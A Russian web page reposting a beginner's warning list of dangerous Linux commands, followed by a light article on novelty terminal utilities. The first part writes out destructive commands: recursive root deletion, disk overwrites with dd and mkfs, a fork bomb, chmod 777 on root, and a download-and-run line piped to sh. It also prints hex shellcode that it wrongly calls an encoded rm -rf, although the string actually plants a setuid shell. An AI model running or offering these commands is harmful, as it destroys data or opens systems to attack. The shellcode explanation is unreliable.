Какие самые опасные команды Linux? Нет определенного списка опасных команд Linux, но у вас есть инструменты, которые позволяют вам контролировать и модифицировать каждый аспект вашей операционной системы. Поэтому если вы не знакомы с командами и инструментами, вы можете довольно легко испортить свою систему.

Представьте себе сценарий маленького ребенка в домашнем хозяйстве. Есть множество способов, которыми ребенок может навредить себе. Но значит ли это, что ребенка нельзя выпускать за пределы кроватки?

Здесь родители устанавливают границы и направляют ребенка. Не подходите к огню. Не суйте пальцы в электрические розетки. По мере того, как ребенок растет и набирается опыта, он может включать плиту, разводить огонь в камине и подключать электрические кабели.

Точно так же, если вы знаете несколько известных рискованных команд, вы можете избежать попадания в ловушки троллей, пытающихся обманом заставить вас выполнять команды и испортить вашу систему.

По мере того, как вы приобретете опыт и узнаете значение и использование команд и инструментов, шансы разрушить вашу систему глупыми и хитрыми командами будут уменьшаться.

1. rm -rf /*

Это, вероятно, самая печально известная команда во всех социальных сетях. Вы часто можете встретить троллей, комментирующих это в различных обсуждениях.

Команда rm используется для удаления файлов/каталогов. Флаги -r и -f используются для обозначения рекурсивного удаления всех файлов внутри указанного каталога. Теперь, без привилегий root, эта команда не причинит никакого вреда.

Выполнение команды sudo rm -rf / также не создаст никаких проблем, поскольку большинство дистрибутивов предоставляют опцию отказоустойчивости. Вам нужно указать –no-preserve-root, чтобы навредить системе.

sudo rm -rf / --no-preserve-root

Однако более простой вариант:

sudo rm -rf /*

Выполнение указанных выше команд начнет рекурсивно удалять все файлы в корневом каталоге, и в какой-то определенный момент ваша система зависнет с сообщением «Ошибка удаления файла». После перезагрузки вы будете отправлены на grub-rescue.

2. Перезапишите свой раздел

Если вы знакомы с файловыми системами, вы, вероятно, знаете, что такое /dev/sda. Это (обычно) раздел вашего диска. Оператор > используется для записи вывода предыдущей команды в указанное указанное место.

После того, как вы запустите любую команду и запишете ее в /dev/sda, введите:

echo "Hello" > /dev/sda

Это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello».

3. Переместить все в пустоту

Внутри каждой системы Linux есть пустота. И эта пустота — /dev/null.

Все, что вы бросаете в эту область, теряется навсегда. Кроме того, он сообщает об успешном процессе записи после отбрасывания данных, что является основной причиной его опасности.

mv /home/user/* /dev/null

Команда mv используется для перемещения или переименования файлов/каталогов. В приведенной выше команде вы перемещаете все файлы внутри домашнего каталога в пустоту. Все ваши личные данные будут утеряны.

4. Отформатируйте жесткий диск

mkfs — это утилита командной строки, используемая для форматирования дисков и разделов. Это очень удобный инструмент для создания разделов для различных установок. Но та же команда может отформатировать и ваш диск. Форматирование диска означает удаление всех файлов, необходимых для загрузки системы.

mkfs.ext3 /dev/sda

Команда выполняет свою работу, и в итоге вы получаете испорченную систему, которую невозможно восстановить.

5. Вилочная бомба

Эта симпатичная случайная комбинация специальных символов достаточно мощна, чтобы заморозить работающую систему, исчерпав системные ресурсы.

:(){:|:&};:

& — фоновый оператор оболочки. Он информирует оболочку о переводе команды в фоновый режим. Здесь он определяет функцию с именем ‘:’, которая вызывает себя дважды, видимом и фоновом режиме. Этот процесс продолжает выполняться снова и снова, пока система не зависнет.

Как следует из названия, команда разветвляется и в конечном итоге становится цепной бомбой и поглощает все системные ресурсы. Вы будете вынуждены перезагрузить систему, что не так плохо, как другие команды в этом списке.

6. Перезапишите важные файлы конфигурации

Хотя это не команда сама по себе, это скорее мера предосторожности.

Как упоминалось выше, оператор «>» используется для записи в файл. Он просто отбрасывает все, что уже присутствует в файле, и записывает предоставленные ему новые данные.

command > config_filename

Теперь, если вы используете какой-либо важный файл конфигурации в качестве места для записи данных, он заменит содержимое, оставив систему сломанной.

7. Замените раздел мусорными данными

Команда /dev/random в Linux может создавать мусорные данные. Объедините это с командой dd и вашим разделом, и вы получите коктейль Молотова, чтобы поджечь ваш раздел.

dd if=/dev/random of=/dev/sda

Команда dd используется как средство низкоуровневого копирования. Здесь она берет случайные данные /dev/random и заменяет раздел /dev/sda этим мусором.

Подобный эффект достигается при:

cat /dev/urandom > filename

Здесь он берет мусорные данные из /dev/urandom и заполняет файл. Если не завершить его с помощью Ctrl + C, файл может занимать значительное количество места, что может иметь катастрофические последствия для слабых систем.

8. Откройте свою систему для всех

В Linux все является файлом, и каждый файл имеет определенные разрешения.

Вы можете просмотреть разрешения с помощью ls -l. Корневая файловая система недоступна для других пользователей без привилегий. Хотя это обеспечивает безопасную работу в системе, вы можете испортить все с помощью одной единственной команды.

chmod -R 777 /

Приведенная выше команда предоставляет доступ всем, ко всем файлам в корневом разделе. Это означает, что каждый, кто использует систему, имеет права на чтение, запись и выполнение. Это не хорошо для вашей системы.

9. Загрузите и запустите вредоносный контент

Как вы устанавливаете программное обеспечение в Linux? Вы используете официальный менеджер пакетов или готовые к использованию пакеты как Deb/RPM, Snap. Flatpack и др.

Однако некоторые программы не упакованы, и их разработчики предоставляют сценарии оболочки для загрузки и запуска.

Вы загружаете файл оболочки и запускаете его от имени пользователя root, чтобы установить программное обеспечение в своей системе. Вы видите в этом проблему?

Хотя он работает с официальным программным обеспечением, таким как Homebrew, вам следует дважды проверить содержимое загружаемого сценария оболочки, прежде чем запускать его напрямую, как показано ниже:

wget http://malicious_source -O- | sh

Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы.

10. Замаскированные команды

Есть много способов запускать команды в терминале Linux. Одним из таких способов являются шестнадцатеричные команды.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Хотя это выглядит причудливо, это закодированная версия команды rm -rf. Её выполнение даст тот же эффект, что и выполнение предыдущей команды. Так что, копируя и вставляя такие причудливые команды из Интернета, будьте осторожны.

Подведение итогов

Есть известный компьютерный термин «проблема существует между клавиатурой и стулом».

Потому что, в конце концов, пользователь (вы) должен убедиться, что вы не разрушите систему, слепо выполнив любую опасную команду.

В задачу UNIX не входит мешать вам прострелить себе ногу. Если вы решите это сделать, то задача UNIX, не будет против.

И эта линия в равной степени относится и к Linux. Вы получаете полный контроль над своей операционной системой. Что вы решите делать, зависит только от вас.

Чтобы обеспечить более безопасный опыт:

  • Попытайтесь понять команды, которые вы собираетесь запустить.
  • Сохраняйте резервную копию системных настроек с помощью Timeshift
  • Сохраняйте резервную копию личных данных (домашний каталог) с помощью DejaDup

Фиксированного списка опасных команд Linux не существует. К этому списку можно добавить еще много всего, и он просто не имеет конца.

 

Источник:  linuxmint.su


Фото

15 бесполезных, но весёлых команд Linux


Linux славится множеством мощных утилит командной строки, упрощающих жизнь администраторам и пользователям. Однако помимо сугубо практичных инструментов, в мире Linux есть и забавные «пасхальные яйца».

Это – команды, от которых мало пользы в работе, но которые способны поднять настроение и продемонстрировать творческую сторону сообщества open source. В этой статье мы рассмотрим 15 таких так называемых бесполезных команд терминала Linux, знакомых многим гуру и способных удивить новичков.

Каждая из этих команд выполняет какую-нибудь смешную или необычную задачу: рисует в консоли паровоз или аквариум, заставляет компьютер «говорить» или раскрашивает текст в радужные цвета. Мы объясним, что делает каждая команда, как ее установить в популярных дистрибутивах (если она вдруг не установлена по умолчанию) и приведем примеры использования. Неважно, только начинаете вы знакомство с Linux или уже считаете себя терминальным экспертом – познакомьтесь с этими веселыми командами и возможно откроете для себя что-то новое!

sl — паровоз вместо «ls»

Команда sl (Steam Locomotive) — классическая терминальная шутка в Linux. Её создали специально для тех, кто по ошибке набирает sl вместо привычной команды ls (вывод списка файлов). Вместо сообщения об ошибке вы увидите, как по вашему терминалу проезжает ASCII-паровоз!

 

 

По умолчанию sl обычно не установлена, но её легко добавить из репозитория. Например, в Debian/Ubuntu достаточно выполнить: sudo apt install sl 

А в Fedora/Red Hat: sudo dnf install sl

После установки наберите в консоли sl и нажмите Enter. Паровоз мигом запыхтит по экрану, оставляя за собой дым из символов.

У sl есть и несколько дополнительных флагов, позволяющих изменить анимацию. Например:

sl -l — отображает более длинный поезд;sl -a — поезд «сбивает» вас с ног;

sl -F — добавляет эффект «падения» при запуске.

Хотя эта команда не приносит практической пользы, она идеально подходит для шуток и демонстрации креативности Linux-сообщества.

cowsay — говорящая корова в терминале

Если вам хочется, чтобы компьютер поговорил с вами... пусть даже в виде ASCII-коровы, пригодится команда cowsay. Она выводит в консоли забавную картинку коровы (или другого персонажа) с «речевым пузырём», внутри которого отображается заданный вами текст. Проще говоря, cowsay превращает любой ваш текст в реплику, сказанную рисованной коровой. Эта утилита давно стала любимой шуткой среди линуксоидов.

 

 

Чтобы воспользоваться cowsay, сначала установите пакет: sudo apt install cowsay (Debian/Ubuntu) или sudo dnf install cowsay (Fedora). После этого введите команду с любым сообщением, например: cowsay Hello, world! – и терминал выдаст вам корову, «говорящую» фразу Hello, world! в рамочке. По умолчанию это корова, но cowsay умеет изображать и других существ. С помощью опции -f можно выбрать фигуру – например, cowsay -f tux покажет пингвина Тукса вместо коровы. Список доступных персонажей можно посмотреть командой cowsay -l. Эта бесполезная команда часто используется вместе с другими: одна из любимых комбинаций – запустить fortune | cowsay, чтобы корова произносила случайную шуточную мудрость.

fortune — генератор случайной мудрости

Любите предсказания из печенья с предсказанием? Команда fortune сделает нечто подобное прямо в терминале Linux. Каждый раз при запуске fortune выводится случайная короткая цитата, шутка или мудрость. База данных этих высказываний обширна, и никогда не знаешь заранее, что попадётся – серьёзное изречение, анекдот или афоризм. Практической пользы немного, но эффект неожиданности и развлекательный момент гарантированы.

 

 

Чтобы начать получать «предсказания», установите утилиту fortune (в некоторых дистрибутивах пакет может называться fortune-mod): sudo apt install fortune или sudo dnf install fortune. Затем просто введите fortune и нажмите Enter – в терминале тут же появится случайное изречение. Каждое новое выполнение выдаёт новую фразу. Некоторые пользователи даже настраивают запуск fortune при каждом открытии терминала, чтобы получать дозу мудрости или юмора в начале сеанса. А в сочетании с cowsay результат становится ещё веселее: команда fortune | cowsay покажет вам корову, провозглашающую выпавшую фортуну.

yes — бесконечное согласие

Команда yes – это своеобразный «вечный повторятель». Её единственное занятие – непрерывно выводить строку y (или любую другую заданную вами строку) до тех пор, пока выполнение не будет остановлено. Если запустить yes без параметров, вы получите бесконечный поток строк с символом y, заполняющих экран. Это, пожалуй, самая буквальная иллюстрация понятия «бесполезная команда» – на первый взгляд от yes нет практической пользы, разве что быстро «завесить» терминал повторяющимися строчками.

Тем не менее, у yes есть исторически полезное назначение: она применяется для автоматического подтверждения ответов «yes» там, где программа требует многократного взаимодействия с пользователем. Классический пример – yes | apt install пакет, чтобы установить что-то без подтверждений. В наши дни такие сценарии редки, но yes по-прежнему присутствует практически во всех дистрибутивах Linux как часть пакета coreutils.

 

Если утилита вдруг отсутствует, установите coreutils через пакетный менеджер. Использование команды предельно простое: yes бесконечно выводит y, а yes No — строчку No (или любой другой переданный аргумент). Остановить выполнение можно сочетанием клавиш Ctrl+C. Ради развлечения или эксперимента можно направить поток yes во вход другой команды, чтобы та получала автоматические ответы – только не забудьте вовремя остановить процесс, иначе он может сильно нагрузить систему.

rev — обратный вывод строк

Как быстро превратить свой текст в зеркальное отражение? Для этого есть команда rev. Её задача проста: она берёт введённую строку и выводит её символы в обратном порядке. Например, если передать ей слово «Linux», на выходе получится «xuniL». rev может работать как с отдельными строками текста, так и с целыми файлами, переворачивая каждую строку задом наперёд. Выглядит занятно, хоть и практической пользы мало – разве что хотите прочитать что-то наоборот.

Специально устанавливать rev обычно не требуется: эта утилита входит в состав базовых пакетов большинства дистрибутивов Linux (например, в пакете util-linux). Чтобы ею воспользоваться, просто введите текст и перенаправьте его через конвейер (pipe) в rev либо укажите имя файла в качестве аргумента. Пример: echo "Hello" | rev выведет olleH. Аналогично, команда rev filename.txt покажет содержимое файла наоборот. Это одна из тех команд, которые существуют скорее для веселья и любопытства – интересно же посмотреть, как звучит фраза, прочитанная с конца к началу!

figlet — текст большими буквами

figlet – легендарная утилита для создания крупных надписей из символов ASCII. Если обычный текст в консоли кажется скучноватым, figlet выведет вашу фразу большими «буквами», составленными из символов. Например, команда figlet Linux отобразит слово “Linux” в виде ASCII-арт баннера. Эта программа существует с начала 90-х и до сих пор радует sysadmin’ов, украшая скрипты и приветственные сообщения.

 

Для использования figlet сначала установите пакет: sudo apt install figlet (в Debian/Ubuntu) или sudo dnf install figlet (в Red Hat/Fedora). Затем просто введите figlet и следом нужный текст в кавычках. По умолчанию надпись будет выполнена стандартным шрифтом ASCII-арта, но figlet поддерживает множество разных шрифтов и настроек. Можно задать максимальную ширину строки опцией -w (чтобы длинные тексты автоматически переносились), или выбрать другой стиль шрифта через -f. Например: figlet -w 120 "Hello, World!" выведет фразу шириной до 120 символов, а figlet -f slant Linux – напишет “Linux” наклонным шрифтом. Экспериментируйте с figlet, и вы быстро поймёте, насколько эффектно обычный текст может смотреться в терминале.

toilet — расширенная версия figlet

Несмотря на шуточное название, утилита toilet не имеет ничего общего с сантехникой. Это «расширенная» версия figlet, позволяющая выводить ASCII-арт текст с дополнительными эффектами и цветами. С помощью toilet вы можете создавать ещё более красивые баннеры в терминале, изменяя шрифты и раскрашивая символы. Почему разработчики назвали её именно toilet, доподлинно неизвестно, но команду полюбили за возможности, которых нет у figlet.

 

 

Установите toilet через пакетный менеджер (sudo apt install toilet или sudo dnf install toilet), затем попробуйте напечатать, например: toilet "Linux". Вы увидите знакомую крупную надпись ASCII, как в figlet. Интересное начинается при использовании опций. Флаг -f позволяет выбрать шрифт (например, toilet -f smblock "Hi" для блочного шрифта), а опция -F добавляет фильтры эффектов. Можно применять несколько фильтров подряд. Например, toilet -f mono12 -F metal "Linux" выведет слово “Linux” металлизированным шрифтом, а toilet -f mono12 -F rainbow -F gay "WOW" раскрасит текст всеми цветами радуги. С toilet можно экспериментировать, добиваясь самых причудливых визуальных результатов в терминале.

cmatrix — эффект «Матрицы» в терминале

Хотите почувствовать себя Нео, глядя в зелёный «цифровой дождь» из фильма «Матрица»? Пакет cmatrix как раз для этого. При запуске cmatrix терминал заполняется непрерывно падающими столбцами зелёных символов, имитируя культовую заставку из «The Matrix». Буквы и цифры непрерывно сменяются, струясь вниз экрана, пока вы не остановите программу. Полезного мало, но смотрится очень эффектно – особенно для поклонников киберпанковской эстетики.

 

cmatrix не входит в стандартный набор утилит, но доступен в репозиториях (установка: sudo apt install cmatrix / sudo dnf install cmatrix). Запустите команду cmatrix, и анимация стартует; прервать её можно сочетанием Ctrl+C. Утилита поддерживает ряд опций для изменения вида «дождя». Например, флаг -a включает асинхронное падение символов (разнесение по времени), -b делает символы полужирными для более яркого эффекта, а -s замедляет скорость потока. Можно даже изменить цвет символов опцией -C (по умолчанию зелёный). Попробуйте cmatrix -b -C red, и вместо зелёных знаков посыпятся красные. С cmatrix легко превратить ваш терминал в экран прямо из культового фильма, пусть и ненадолго.

lolcat — радужная раскраска вывода

lolcat – утилита, которая раскрашивает вывод текста во все цвета радуги. Название отсылает к интернет-мему про разноцветных котов, и работает команда соответствующе: она берёт любой текст на входе и выводит его, плавно меняя цвет каждого символа. Сама по себе lolcat не генерирует ничего нового – её сила именно в связке с другими программами, чьи результаты она превращает в яркий калейдоскоп.

 

 

Чтобы воспользоваться lolcat, установите пакет (sudo apt install lolcat для Debian/Ubuntu или соответствующий пакет в других дистрибутивах). Затем объедините lolcat с любой командой через pipe. Классические примеры: ls -l | lolcat выведет список файлов разноцветно, figlet "Hello" | lolcat напишет слово крупными буквами да ещё и радужной раскраской, а fortune | lolcat выдаст цветной «печеньичный» афоризм. Можно и просто напечатать текст: echo "This is lolcat" | lolcat – и фраза засверкает разными оттенками. Конечно, практической пользы в lolcat мало, но иногда красочно оформленный вывод поднимает настроение, особенно когда хочется оживить скучный терминал.

espeak — озвучивание текста голосом

espeak заставит ваш Linux «заговорить». Это консольный инструмент для синтеза речи, который читает вслух любой заданный ему текст. Конечно, голос у espeak далёк от естественного – скорее напоминает старый роботизированный компьютерный голос – но именно в этом и шарм. Можно заставить систему поздороваться с вами или воспроизвести забавное сообщение через динамики, просто передав фразу в espeak.

Установите программу командой sudo apt install espeak (или sudo dnf install espeak), затем попробуйте: espeak "Привет, как дела?". Если звук настроен, вы услышите, как компьютер произнесёт эту фразу. espeak поддерживает разные языки и голоса – опция -v позволяет выбрать голос. Например, espeak -v en+f3 "Hello, I am your computer" прозвучит женским голосом на английском, а espeak -v ru+m1 "Привет" – мужским голосом на русском. Есть даже шёпот (-v en+whisper) для пугающих эффектов. Команда espeak --voices покажет список доступных голосов. Кроме текста в кавычках, можно озвучить содержимое файла: espeak -f /path/to/file.txt. Несмотря на то, что утилита устаревшая и звучит неестественно, весёлый эффект от её использования гарантирован – особенно если внезапно озвучить что-то неожиданное.

asciiquarium — аквариум в текстовом режиме

Представьте себе аквариум, нарисованный символами – именно это делает утилита asciiquarium. Она запускает в терминале мультяшную сценку: в «воде», обозначенной голубыми буквами, плавают рыбки, колышутся водоросли, проплывают кораблики – и всё это сложено из ASCII-символов. asciiquarium превращает ваш текстовый терминал в мини-аквариум, на который можно залипнуть, наблюдая за передвижениями рыбок.

 

 

Чтобы освежить свой экран таким аквариумом, установите asciiquarium из репозиториев (sudo apt install asciiquarium, sudo dnf install asciiquarium) и выполните команду asciiquarium. Анимация начнётся сразу и будет продолжаться бесконечно, пока вы её не остановите. Некоторые клавиши управляют «аквариумом»: R перерисовывает сцену заново (появится новый набор рыбок), P ставит анимацию на паузу, а Q – закрывает программу. Полезности от asciiquarium никакой, но как демонстрация возможностей ASCII-графики и просто милый терминальный «скринсейвер» – эта команда бесподобна.

oneko — котёнок, гоняющийся за курсором

Команда oneko оживит ваш рабочий стол забавным образом: на экране появится маленький нарисованный котёнок, который начнёт преследовать указатель мыши, как будто это мышка. Этот милый «питомец» будет бегать за курсором по всему экрану, пока программа oneko работает. Это старое развлечение из мира UNIX, демонстрирующее, что в Linux есть место не только консольным утилитам, но и забавным графическим игрушкам.

 

 

oneko устанавливается стандартно (sudo apt install oneko / sudo dnf install oneko). Для работы требуется графическая среда X11. После запуска команды oneko в терминале, на экране сразу выскочит котик. Попробуйте подвигать мышкой – котёнок будет неотступно следовать за курсором. Остановить работу можно, нажав Ctrl+C в терминале (или закрыв приложение). У oneko есть и варианты: опция -dog заменит кота на собаку, которая гоняется за косточкой, а -tofocus заставит зверька следить не за курсором, а за активным окном. Хотя oneko и не приносит практической пользы, этот резвящийся котик наверняка вызовет улыбку, особенно у коллег, впервые увидевших его на вашем экране.

factor — разложение числа на множители

factor отличается от остальных команд в нашем списке тем, что имеет вполне определённую функцию – математическую, хоть и редкую в повседневной жизни. Эта утилита мгновенно раскладывает указанное целое число на простые множители. То есть, вводя команду factor 360, вы получите ответ 2 2 2 3 3 5 (потому что 360 = 2³ × 3² × 5). В теории, factor может оказаться полезной для любителей математики или при решении головоломок, но среднему пользователю она, откровенно говоря, почти никогда не понадобится.

 

 

Тем не менее, factor присутствует в Linux практически везде (обычно это часть пакета GNU coreutils), поэтому вы можете попробовать её прямо сейчас без установки. Просто введите factor и через пробел число, чтобы увидеть его простые множители. Попробуйте, например: factor 384746133 – программа моментально выдаст результат 3 53 2419787 (перемножьте их, и правда получится 384746133). Забавно наблюдать, как быстро компьютер расправляется с такими расчётами. А чтобы придать результату более весёлый вид, можно скомбинировать factor с предыдущими нашими героями: factor 360 | figlet нарисует разложение крупными буквами, а factor 360 | figlet | lolcat ещё и раскрасит ответ в радугу.

xeyes — забавные глазки на экране

Ещё одна бессмысленная, но весёлая графическая безделушка из эпохи X11 – программа xeyes. При запуске xeyes на рабочем столе появится окошко с парой нарисованных глаз. Эти большие глазные яблоки будут следить за движением указателя: куда бы вы ни повели курсор мыши, зрачки будут поворачиваться в ту же сторону. Создаётся впечатление, что компьютер наблюдает за вами шутливым взглядом.

 

 

xeyes обычно не установлена по умолчанию, но доступна в репозиториях большинства дистрибутивов (пакет может называться x11-apps или прямо xeyes). Установите её (sudo apt install xeyes / sudo dnf install xeyes) и запустите команду xeyes. На экране отобразятся глазки, которые начнут следить за курсором. Полезность нулевая – разве что развлечься самому или разыграть коллегу, – зато какой олдскульный шарм! Завершить программу можно, закрыв окно с глазами или прервав исполнение в терминале. Учтите, xeyes – очень старая программа, и в современных средах (например, на Wayland без X11) она может не работать. Но на классическом X-сервере эти глазки всё так же забавно пялятся на всё, что вы делаете.

watch "echo -e 'a'" — периодический звуковой сигнал

На десерт – комбинация команд, которая не столько отдельная утилита, сколько хитрый приём. Команда watch умеет периодически запускать указанную ей команду через заданный интервал времени (по умолчанию каждые 2 секунды). Если поручить ей выполнять echo -e 'a', эффект получится забавным: терминал начнёт регулярно издавать звуковой сигнал. Символ a в echo – это «BEL», то есть сигнал системного звонка. Таким образом, watch "echo -e 'a'" будет каждые две секунды запускать echo, который подаёт сигнал «бип». Вы услышите периодическое пикание, пока не остановите watch.

Практического смысла у такого использования watch нет – разве что проверить, работает ли спикер в системе, или подшутить над кем-то. Если запустить эту команду в фоне на чьём-нибудь терминале, компьютер жертвы начнёт загадочно попискивать, вызывая недоумение. Правда, в некоторых эмуляторах терминала звуковой сигнал может быть отключён, и тогда ничего не произойдёт. Но если звук включён, приготовьтесь к настойчивому «динь» каждые пару секунд. Остановить бешеный звонок можно, завершив процесс watch (например, Ctrl+C, если он запущен в вашем терминале). Эта шуточная комбинация напоминает нам, что даже обычные команды Linux можно превратить в источник веселья, если проявить смекалку.

В Linux существует ещё немало забавных утилит и скрытых «пасхалок». Мы рассмотрели лишь 15 наиболее известных «бесполезных» команд, которые, тем не менее, приносят улыбку и делают работу в терминале чуть веселее. Познакомившись с ними, вы не только развлеклись, но и узнали кое-что новое о разнообразии экосистемы Linux. Так что в следующий раз, когда захотите удивить друга или поднять себе настроение за компьютером – смело вспоминайте эти команды и наслаждайтесь их необычным эффектом!

 

Источник:   www.securitylab.ru

 

 


1 2 3 4    Следующая